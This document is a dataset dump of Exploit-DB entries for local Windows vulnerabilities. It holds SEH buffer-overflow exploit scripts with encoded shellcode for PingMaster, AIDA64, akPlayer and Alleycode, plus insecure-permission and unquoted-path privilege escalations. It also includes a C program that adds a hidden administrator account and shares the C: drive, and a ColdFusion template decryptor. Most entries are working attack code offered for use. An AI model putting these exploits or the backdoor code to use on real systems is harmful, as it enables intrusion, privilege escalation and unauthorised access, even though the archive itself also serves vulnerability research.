deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49049
Description: Advanced System Care Service 13 - 'AdvancedSystemCareService13' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-16
Author: Jair Amezcua

Exploit:
# Title: Advanced System Care Service 13 - 'AdvancedSystemCareService13' Unquoted Service Path
# Author: Jair Amezcua
# Date: 2020-11-10
# Vendor Homepage: https://www.iobit.com
# Software Link: https://www.iobit.com/es/advancedsystemcarepro.php
# Version : 13.0.0.157
# Tested on: Windows 10 64bit(EN)
# CVE : N/A

# 1. Description:
# Unquoted service paths in Advanced System Care Service 13  v13.0.0.157 have an unquoted service path.

# PoC
===========

C:\>sc qc AdvancedSystemCareService13
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AdvancedSystemCareService13
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Advanced SystemCare Pro\ASCService.exe
        LOAD_ORDER_GROUP   : System Reserved
        TAG                : 0
        DISPLAY_NAME       : Advanced SystemCare Service 13
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem



#Description Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.
Exploit-DB #47905
Description: Advanced System Repair Pro 1.9.1.7 - Insecure File Permissions
Type: local
Platform: windows
Date: 2020-01-13
Author: ZwX

Exploit:
# Exploit Title: Advanced System Repair Pro 1.9.1.7 - Insecure File Permissions
# Exploit Author: ZwX
# Exploit Date: 2020-01-12
# Vendor Homepage : https://advancedsystemrepair.com/
# Software Link: http://advancedsystemrepair.com/ASRProInstaller.exe
# Tested on OS: Windows 10


# Proof of Concept (PoC):
==========================

C:\Program Files\Advanced System Repair Pro 1.9.1.7.0>icacls *.exe
AdvancedSystemRepairPro.exe Everyone:(F)
                            AUTORITE NT\Système:(I)(F)
                            BUILTIN\Administrateurs:(I)(F)
                            BUILTIN\Utilisateurs:(I)(RX)
							
dsutil.exe Everyone:(F)
           AUTORITE NT\Système:(I)(F)
           BUILTIN\Administrateurs:(I)(F)
           BUILTIN\Utilisateurs:(I)(RX)
		   
tscmon.exe Everyone:(F)
           AUTORITE NT\Système:(I)(F)
           BUILTIN\Administrateurs:(I)(F)
           BUILTIN\Utilisateurs:(I)(RX)
							
		 
#Exploit code(s): 
=================

1) Compile below 'C' code name it as "AdvancedSystemRepairPro.exe"

#include<windows.h>

int main(void){
 system("net user hacker abc123 /add");
 system("net localgroup Administrators hacker  /add");
 system("net share SHARE_NAME=c:\ /grant:hacker,full");
 WinExec("C:\\Program Files\\Advanced System Repair Pro 1.9.1.7.0\\~AdvancedSystemRepairPro.exe",0);
return 0;
} 

2) Rename original "AdvancedSystemRepairPro.exe" to "~AdvancedSystemRepairPro.exe"
3) Place our malicious "AdvancedSystemRepairPro.exe" in the Advanced System Repair Pro 1.9.1.7.0 directory
4) Disconnect and wait for a more privileged user to connect and use AdvancedSystemRepairPro IDE. 
Privilege Successful Escalation
Exploit-DB #45151
Description: AgataSoft Auto PingMaster 1.5 - Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2018-08-06
Author: bzyo

Exploit:
# Exploit Title: AgataSoft Auto PingMaster 1.5 - Buffer Overflow (SEH)
# Date: 2018-08-03
# Exploit Author: bzyo
# Twitter: @bzyo_
# Vulnerable Software: AgataSoft Auto PingMaster 1.5
# Vendor Homepage: http://agatasoft.com/
# Version: 1.5
# Software Link : http://agatasoft.com/Ping_Master.exe
# Tested Windows 7 SP1 x86

# PoC
# 1. generate ping.txt, copy contents to clipboard
# 2. open application
# 3. select Trace Route
# 4. paste contents from clipBoard to "Host name:" field
# 5. select "Get IP from host name"
# 6. pop calc

#!/usr/bin/python 

# greetz Luis Martínez for find in ebd-id 45137
 
import struct

junk1 = "A"*100

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d\x0e" -e x86/alpha_mixed -f c
#Payload size: 448 bytes
calc = ("\x89\xe1\xd9\xf7\xd9\x71\xf4\x5b\x53\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x59\x6c\x5a\x48\x4c\x42\x77\x70\x53\x30\x45\x50\x35\x30\x6b"
"\x39\x58\x65\x70\x31\x39\x50\x30\x64\x4c\x4b\x50\x50\x64\x70"
"\x6e\x6b\x71\x42\x34\x4c\x4e\x6b\x71\x42\x37\x64\x6e\x6b\x62"
"\x52\x56\x48\x36\x6f\x4c\x77\x61\x5a\x64\x66\x56\x51\x49\x6f"
"\x6e\x4c\x45\x6c\x75\x31\x71\x6c\x53\x32\x66\x4c\x55\x70\x69"
"\x51\x38\x4f\x44\x4d\x47\x71\x6a\x67\x78\x62\x6a\x52\x31\x42"
"\x76\x37\x4e\x6b\x70\x52\x44\x50\x6e\x6b\x61\x5a\x47\x4c\x6c"
"\x4b\x30\x4c\x34\x51\x71\x68\x4b\x53\x63\x78\x77\x71\x4b\x61"
"\x63\x61\x4e\x6b\x63\x69\x35\x70\x56\x61\x4e\x33\x6e\x6b\x57"
"\x39\x65\x48\x68\x63\x44\x7a\x37\x39\x6c\x4b\x46\x54\x6c\x4b"
"\x47\x71\x7a\x76\x35\x61\x49\x6f\x4c\x6c\x7a\x61\x6a\x6f\x64"
"\x4d\x55\x51\x4b\x77\x57\x48\x6b\x50\x74\x35\x69\x66\x65\x53"
"\x31\x6d\x4a\x58\x77\x4b\x61\x6d\x51\x34\x61\x65\x6a\x44\x61"
"\x48\x4e\x6b\x62\x78\x45\x74\x47\x71\x79\x43\x71\x76\x4c\x4b"
"\x64\x4c\x72\x6b\x6c\x4b\x73\x68\x35\x4c\x43\x31\x6a\x73\x6e"
"\x6b\x37\x74\x6e\x6b\x37\x71\x4e\x30\x4f\x79\x52\x64\x35\x74"
"\x55\x74\x71\x4b\x51\x4b\x51\x71\x70\x59\x72\x7a\x53\x61\x6b"
"\x4f\x59\x70\x73\x6f\x63\x6f\x72\x7a\x4c\x4b\x56\x72\x48\x6b"
"\x6e\x6d\x31\x4d\x50\x6a\x55\x51\x6e\x6d\x4b\x35\x4f\x42\x73"
"\x30\x65\x50\x55\x50\x42\x70\x72\x48\x70\x31\x4e\x6b\x42\x4f"
"\x6c\x47\x6b\x4f\x4a\x75\x4d\x6b\x5a\x50\x48\x35\x6e\x42\x31"
"\x46\x62\x48\x39\x36\x5a\x35\x6f\x4d\x6d\x4d\x4b\x4f\x79\x45"
"\x45\x6c\x63\x36\x73\x4c\x45\x5a\x6b\x30\x59\x6b\x79\x70\x50"
"\x75\x55\x55\x6d\x6b\x43\x77\x42\x33\x61\x62\x62\x4f\x33\x5a"
"\x33\x30\x56\x33\x49\x6f\x49\x45\x43\x53\x53\x51\x72\x4c\x53"
"\x53\x44\x6e\x65\x35\x64\x38\x43\x55\x67\x70\x41\x41")

junk3 = "\xcc"*92

jmp3 = "\xe9\x7d\xfd\xff\xff\xcc"

junk2 = "\xcc"*20

jmp1 = "\xeb\xf8\xcc\xcc"

jmp2 = "\xeb\xe4\xcc\xcc\xcc\xcc"


seh = struct.pack('<L',0x00462360)

buffer = junk1 + calc + junk3 + jmp3 + junk2 + jmp2 + jmp1 + seh 

with open("ping.txt","wb") as f:
    f.write(buffer[:-1])
Exploit-DB #27282
Description: Agnitum Outpost Security Suite 8.1 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2013-08-02
Author: Ahmad Moghimi

Exploit:
# Exploit Title: Agnitum Outpost security suite privilege escalation - 0Day
# Date: 2013-08-02
# Exploit Author: Ahmad Moghimi (http://mallocat.com
<http://mallocat.com/>, https://twitter.com/mall0cat)
# Vendor Homepage: http://www.agnitum.com/
# Software Link: http://dl2.agnitum.com/OutpostSecuritySuiteProInstall.exe
# Version: 8.1 Latest build
# Tested on: windows
# CVE : NO-CVE

Reference: http://mallocat.com/a-journey-to-antivirus-escalation/
Demo: http://mallocat.com/wp-content/uploads/2013/08/win7.swf
Exploit code: http://mallocat.com/wp-content/uploads/2013/08/escalate.7z
              https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27282.7z

Exploit-DB note:
Open and read the reference supplied

From low privileged account
#1) Register Regsvr32.exe /s C:\Program Files\agnitum\Outpost Security Suite Pro\..\..\..\x.dll
#2) Run exploit.exe
Exploit-DB #46657
Description: AIDA64 Engineer 5.99.4900 - 'Load from file' Field Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2019-04-04
Author: Anurag Srivastava

Exploit:
#!/usr/bin/python
 
###############################################################################
# Exploit Title:        AIDA64 Engineer 5.99.4900 - 'Load from file' Field Buffer Overflow (SEH)
# Date:                 04-04-2019
# Exploit Author:       Anurag Srivastava and Vardan Bansal 
# Website:    			www.theanuragsrivastava.in
# Vulnerable Software:  AIDA64 Engineer  
# Vendor Homepage:      http://download.aida64.com/
# Version:              5.99.4900
# Software Link:        http://download.aida64.com/aida64engineer599.exe
# Tested On:            Windows 7 x64 
# CVE:					CVE-2019-10843
#
# To reproduce the exploit:
#   1. Click Report
#   2. In the "Load from a File" field, paste the content of hex.txt
#
##############################################################################

buf =  ""
buf += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"
buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"
buf += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"
buf += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"
buf += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
buf += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"
buf += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"
buf += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"
buf += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"
buf += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"
buf += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"
buf += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"
buf += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"
buf += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"
buf += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"
buf += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"
buf += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"
  
 
nSEH = "\xeb\xf9\x90\x90" 

back = "\xe9\xdc\xfe\xff\xff"  # jmp back to start of shellcode
SEH = "\x23\x02\x1c\x01" #pop ebx # pop eax # ret  | ascii {PAGE_EXECUTE_READWRITE} [aida64.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.99.4900 (C:\Program Files\FinalWire\AIDA64 Engineer\aida64.exe

buffer = "\x41" * (292-len(buf)-len(back))
padding = "\x42"*(500-292-4-4)
data = buf + buffer + back + nSEH + SEH + padding
 
f = open ("hex.txt", "w")
f.write(data)
f.close()
Exploit-DB #9568
Description: akPlayer 1.9.0 - '.plt' Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-09-01
Author: TiGeR-Dz

Exploit:
#!/usr/bin/python
#
#[x] Bug: akPlayer 1.9.0 (.plt) Universal BOF Exploit (SEH)
#[x] Author : TiGeR-Dz
#[x] Usage : exploit.py > exploit.plt
#[x] Usage2: Just grab the plt file into akPlayer.
#[x] Greetz: thanks very match his0k4

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41"
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x51\x32\x42\x42\x32\x41"
"\x41\x30\x41\x41\x42\x58\x38\x42\x42\x50\x75\x4b\x59\x4b\x4c\x59"
"\x78\x52\x64\x63\x30\x65\x50\x53\x30\x4e\x6b\x57\x35\x77\x4c\x6c"
"\x4b\x61\x6c\x63\x35\x73\x48\x67\x71\x48\x6f\x6e\x6b\x50\x4f\x45"
"\x48\x6e\x6b\x53\x6f\x61\x30\x73\x31\x38\x6b\x53\x79\x4e\x6b\x66"
"\x54\x6e\x6b\x46\x61\x38\x6e\x30\x31\x6b\x70\x6e\x79\x6e\x4c\x4f"
"\x74\x79\x50\x74\x34\x44\x47\x4f\x31\x59\x5a\x76\x6d\x55\x51\x59"
"\x52\x68\x6b\x4a\x54\x35\x6b\x71\x44\x65\x74\x37\x74\x31\x65\x4a"
"\x45\x6e\x6b\x73\x6f\x44\x64\x55\x51\x4a\x4b\x50\x66\x4c\x4b\x44"
"\x4c\x30\x4b\x6e\x6b\x53\x6f\x37\x6c\x46\x61\x58\x6b\x6c\x4b\x77"
"\x6c\x6e\x6b\x46\x61\x5a\x4b\x4f\x79\x31\x4c\x47\x54\x37\x74\x6a"
"\x63\x74\x71\x59\x50\x70\x64\x6e\x6b\x51\x50\x50\x30\x6e\x65\x4b"
"\x70\x72\x58\x64\x4c\x6c\x4b\x71\x50\x56\x6c\x4e\x6b\x52\x50\x57"
"\x6c\x6c\x6d\x4c\x4b\x63\x58\x73\x38\x5a\x4b\x45\x59\x4e\x6b\x4f"
"\x70\x4c\x70\x35\x50\x43\x30\x63\x30\x4c\x4b\x53\x58\x77\x4c\x73"
"\x6f\x56\x51\x48\x76\x53\x50\x66\x36\x4f\x79\x39\x68\x6f\x73\x39"
"\x50\x61\x6b\x30\x50\x61\x78\x4a\x50\x6c\x4a\x73\x34\x33\x6f\x45"
"\x38\x6d\x48\x49\x6e\x6c\x4a\x46\x6e\x76\x37\x69\x6f\x48\x67\x45"
"\x33\x73\x51\x72\x4c\x71\x73\x63\x30\x41")

buffer =  shellcode
buffer += '\x41'*(3324-len(shellcode))
buffer += '\xE9\xFF\xF2\xFF\xFF' #jump
buffer += '\x43'*787 #padding
buffer += '\x59\xC3' #pop ecx; retn
buffer += '\x90\x90' #nop
buffer += '\xF8\x28\x40'#pop pop ret=>universal
print buffer

# milw0rm.com [2009-09-01]
Exploit-DB #19894
Description: Aladdin Knowledge Systems eToken 3.3.3 - eToken PIN Extraction
Type: local
Platform: windows
Date: 2000-05-04
Author: kingpin

Exploit:
source: https://www.securityfocus.com/bid/1170/info

Alladin Knowledge Systems eToken is a USB smartcard-like device used for authentication, file integrity, and encryption. Access to the eToken device itself and entering the PIN number encoded in the eToken will grant authorization to a local user. 

The PIN number can be reset to the default value with the use of standard device programmers. This can be done by physically opening the eToken device (which can be done without leaving any trace or evidence of tampering) and copying the default PIN value to the location used to store either the user PIN or administrator PIN in the serial EEPROM.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19894.zip
Exploit-DB #15696
Description: Alice 2.2 - Arbitrary Code Execution
Type: local
Platform: windows
Date: 2010-12-06
Author: Rew

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Title: Alice 2.2 Arbitrary Code Execution Exploit
Date: Dec 5, 2010
Author: Rew
Email: rew [splat] leethax.info
Link: http://alice.org/index.php
Version: 2.2 (Windows)
Tested on: WinXP
CVE: NA (0day)

This was a fun one to exploit.  Let me explain...

Alice saves programs (worlds) in a custom ".a2w" format.  This is
essentially just a zip file containing some XML and images.  A little
poking around reveals a python script called "script.py" in there too.
I've never seen Alice put code in it, so I'm not sure what it's real
purpose is, but it gets executed every time the program starts.  (Ok
seriously, whose smart idea was that!?)  When I discovered this, I
figured, "Cool, a simple os.system() should do the trick.", but there's
a problem;  Alice relies on Jython (http://jython.org/) to interpret the
Python code, but the Jython Devs seem to have made a mistake in their
code.  In jython-1.2\Lib\javaos.py, line 23 runs...

from __future__ import division

I guess this is supposed to fix some python bug, however in our case it
results in all OS shell commands dying with a syntax error.  :/  Yes,
there are others (popen2, commands, etc), but in Jython they all
ultimately call the os library.  I thought for a while about what could
be done using only built-in python function, but all I could come up
with was arbitrary file reads/writes.  This could still lead to code
execution (easier on linux because you can write to the startup shell
script), but it's not as clean.  Then it hit me.  Why not just use the
file functions to fix the developers mistake, and then call os.system()?
 And what do you know, it worked!!  Here's how

1. Use Python to open up jython-2.1\Lib\javaos.py
2. Comment out line 23 and write it back to the file
3. Call os.system(), thus h4cking th3 pl4n3t
4. Repair our modifications so we remain undetected :)

Quite funny I think.  We have to fix the developers mistake to exploit
the program.  Attached is a PoC that will run calc.exe.  It may be a
little unreliable if there are any file permission issues or the
directory has somehow changed.  If that happens, tweak it and it will work.

Enjoy,
Rew

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEYEARECAAYFAkz8WUQACgkQy2WYMxSouUziYQCfcDlB5rWT541euew8pZW2BA03
FhUAn0y6pBrAJXLcLiEfINR5hT4MfL52
=zMAG
-----END PGP SIGNATURE-----

Exploit: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15696.a2w (Off_with_her_head.a2w)
Exploit-DB #19220
Description: Allaire ColdFusion Server 4.0.1 - 'CFCRYPT.EXE' Decrypt Pages
Type: local
Platform: windows
Date: 1998-05-19
Author: Matt Chapman

Exploit:
/*
source: https://www.securityfocus.com/bid/275/info

A vulnerability in ColdFusion allows pages encrypted with the CFCRYPT.EXE utility to be decrypted.

ColdFusion supports the ability to "encrypt" the CFML templates in an application or component, using the CFCRYPT.EXE utility, so they can be redistributed or sold without exposing the source code to casual viewing. A program that decrypts ColdFusion's encryption has been discovered. This will in effect make the source code for all this propietary CFML applications available to those with access to their encrypted form. 
*/

/* CFDECRYPT: Decrypt Cold Fusion templates encrypted with CFCRYPT
   Matt Chapman <matthewc@cse.unsw.edu.au>

     Usage: cfdecrypt <encrypted.cfm >decrypted.cfm

   Requires a DES encryption library to compile.
*/

#include <stdio.h>
#include "des.h"

int main(void)
{
	char *header = "Allaire Cold Fusion Template\012Header Size: ";
	char buffer[54];
	int headsize, outlen;
	int skip_header;
	int len, i;

	char *keystr = "Error: cannot open template file--\"%s\". Please, try again!\012\012";
	des_cblock key;
	des_cblock input; 
	des_cblock output;
	des_key_schedule schedule;

	if ((fread(buffer, 1, 54, stdin) < 54) || (memcmp(buffer, header, 42)))
	{
		fprintf(stderr, "File is not an encrypted template\n");
		return 1;
	}

	if (!memcmp(&buffer[42], "New Version", 11))
	{
		headsize = 69;
		skip_header = 1;
	}
	else
	{
		headsize = atoi(&buffer[42]);
		skip_header = 0;
	}

	if ((headsize < 54) || (fseek(stdin, headsize, SEEK_SET) < 0))
	{
		fprintf(stderr, "Error in file format\n");
		return 1;
	}

	des_string_to_key(keystr, &key);
	des_set_key(&key, schedule);
	outlen = 0;

	while ((len = fread(input, 1, 8, stdin)) == 8)
	{
		des_ecb_encrypt(&input, &output, schedule, 0);
		outlen += 8;
		i = 0;

		if (skip_header)
		{
			while (i < 8)
			{
				if (output[i++] == 0x1A)
				{
					skip_header = 0;
					break;
				}
			}
		}

		fwrite(output + i, 1, 8 - i, stdout);
	}

	for (i = 0; i < len; i++)
	{
		output[i] = input[i] ^ (outlen + i);
	}

	fwrite(output, 1, len, stdout);

	return 0;
}
Exploit-DB #9991
Description: Alleycode 2.21 - Local Overflow (SEH)
Type: local
Platform: windows
Date: 2009-10-05
Author: Rafael Sousa

Exploit:
What is AlleyCode?

AlleyCode is a free html editor. Alleycode was chosen as one of the best freebies on the Net. The entire list of the ' 101 Fabulous Freebies' was featured in the May 2006 issue of PCWorld Magazine. Thanks PCWorld...

Alleycode is a fast, sleek and highly productive award winning HTML editor with unique features. If you are new to HTML, Alleycode's great tutorial will walk you through your first coding steps... If you are an established coder you will find a refreshing, non-bloated infrastructure with fast and accurate delivery. Beyond HTML, Alleycode's wizardry focuses on PHP and CSS interaction for professional and easy management of your projects. Best of all, Alleycode is FREE! (we do accept donations if you find it useful).

What is the last version released?

The last version is 2.21

Where can i download AlleyCode?

You can download at http://www.alleycode.com/download.htm

POC:

Just create a html file with this code:

<html>

<head>

<title>

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@AAAA@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@</title>

<body>

oi

</body>

</html>

Then Click at Tools and Optimizer.

Registers:

EAX 00000000

ECX 41414141

EDX 7C9032BC ntdll.7C9032BC

EBX 00000000

ESP 0012F174

EBP 0012F194

ESI 00000000

EDI 00000000

EIP 41414141

C 0 ES 0023 32bit 0(FFFFFFFF)

P 1 CS 001B 32bit 0(FFFFFFFF)

A 0 SS 0023 32bit 0(FFFFFFFF)

Z 1 DS 0023 32bit 0(FFFFFFFF)

S 0 FS 003B 32bit 7FFDD000(FFF)

T 0 GS 0000 NULL

D 0

O 0 LastErr ERROR_SUCCESS (00000000)

EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)

ST0 empty -UNORM 9FF2 0000000C 0012FBC4

ST1 empty -3[PII_REDACTED]670431820e-4535

ST2 empty 3[PII_REDACTED]663954540e-2331

ST3 empty +UNORM 00C3 [PII_REDACTED]

ST4 empty 0[PII_REDACTED]879907910e-4933

ST5 empty [PII_REDACTED]000000000

ST6 empty [PII_REDACTED]000000000

ST7 empty [PII_REDACTED]000000000

3 2 1 0 E S P U O Z D I

FST 4020 Cond 1 0 0 0 Err 0 0 1 0 0 0 0 0 (EQ)

FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0

Rafael Sousa
Exploit-DB #9866
Description: Alleycode HTML Editor 2.2.1 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-10-29
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

####################################################################
#
# Alleycode HTML Editor 2.21 Local (.HTML) Overflow Exploit (SEH)
# Coded By:	Dr_IDE
# Found By:	Rafael de Sousa
# Tested On:	XPSP0 (SP3 doesn't have any usable P/P/R)
# Download:	www.alleycode.com
#
####################################################################

# calc.exe - 303 bytes
# Encoder - alpha/upper
# EXITFUNC - SEH
sc = (
"\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41");

head = ("<html>\n<title>");		# Don't touch the html stuff.
buff = ("@" * 504);			# Overwrite SEH Pointer
nseh = ("\xEB\x64\x90\x90");    	# Need to pass some garbage in stack
retn = ("\x0E\x03\xEB\x77");		# P/P/R Kernel32.dll XPSP0
nops = ("\x90" * 116);			# SLIIIIIIIIIIIIIIIIIIIIIIIIIIIIIDE!
junk = ("\x40" * (688 - len(sc)));	# Looks like 688 bytes for Shellcode
foot = ("</title>\n<body>Calculator goes BOOM!</body>\n</html>\n");

sploit = (head + buff + nseh + retn + nops + sc + junk + foot);

try:
	print ("\n\n#######################################################");
	print ("# Alleycode HTML Editor 2.21 Local HTML Buffer Overflow");
	print ("# By: Dr_IDE");
	print ("# pocoftheday.blogspot.com");
	print ("#######################################################\n");
	print ("[*] Writing evil HTML file.");
	f1 = open("Dr_IDEs_Evil_Homepage.html","w");
	f1.write(sploit);
	f1.close();
	print ('[*] Success. Load File and Click "Tools -> Optimizer".');

except:
	print ("[-] Error, could not write the file.");